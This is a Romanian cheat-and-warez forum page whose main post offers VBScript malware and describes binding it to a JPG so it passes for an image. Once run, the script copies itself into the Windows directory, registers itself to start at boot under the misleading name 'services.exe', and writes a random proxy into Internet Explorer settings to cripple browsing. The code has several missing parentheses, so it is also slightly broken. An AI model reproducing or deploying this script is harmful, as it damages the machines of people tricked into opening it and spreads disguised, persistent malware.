GoldCs Team
GoldCs Team
All for Counter strike 1.6 and more WWW.GoLDCs.3XFORUM.RO WWW.GoLDCs.3XFORUM.RO WWW.GoLDCs.3XFORUM.RO WWW.GoLDCs.3XFORUM.RO FREE DOWNLOAD - Jocuri full download , jocuri gratis , jocuri full , muzica noua , muzica romaneasca , hacking , torrent , jocuri free download , free download cfg silent aim ,dll , aimbot for counter strike 1.6 free download, scripts aim , eac , voiplay , VaC WWW.GoLDCs.3XFORUM.RO WWW.GoLDCs.3XFORUM.RO FREE DOWNLOAD . ! .@@ PerTa Contact : PerTa_unique@yahoo.com !
|
Nu sunteti logat.
Lista Forumurilor Pe Tematici
|
Nou pe simpatie:
BrianaS pe Simpatie.ro
 | Femeie
23 ani
Bucuresti
cauta Barbat
26 - 57 ani |
|
|
GoldCs TeamReguliInregistrareLoginPoze
|
| #1 |
|
|
This works like how i made for my vb6 version of crashign ie6 permantely
This is a simple script that technically disables internet usage with Internet Explorer. At the end of the article, I have included the code. Also, I had a little bit of fun with binders... I incorporated this code with a jpg image, and it looks and acts just like an image. Only thing is, when executed, it copies itself into the Windows directory, adds itself to the startup item, and randomly generates some numbers into the proxy field for IE, thus limiting internet connection usage. Remember, this is only for noobs. Also, I do not take any responsibility for what you do with this. Testing purposes only? Sure, why not. Enjoy!
Code:
::::::::::::::::::::::::::::::::::::::::::
:::::::::::::Coded by glj12:::::::::::::::
::::::::::::::::::::::::::::::::::::::::::
:::::::::::::leetupload.com:::::::::::::::
Option Explicit
set args = WScript.Arguments
Set ws = WScript.CreateObject("WScript.Shell"
Dim args, ws, t, j, f, k, cj, a2, a6, n
Dim itemtype,num
num=args.count
if num<>0 then cj=args.Item(0)
a2 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\"
a6 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"
j = ws.RegRead(a2 & "ProxyServer"
if num=0 then
do
Randomize
cj = Rnd()
loop while cj=""
end if
If cj <> "" Then
ws.RegWrite a2 & "ProxyServer", cj
ws.RegWrite a6 & "services.exe", "C:\Windows\noob.vbs"
End If
dim file, destfile, objFSO, i, strscript
set file = CreateObject ("Scripting.FileSystemObject"
set destfile = file.GetFile("noob.vbs"
destfile.Copy("C:\Windows\noob.vbs"
|
|
| |
|
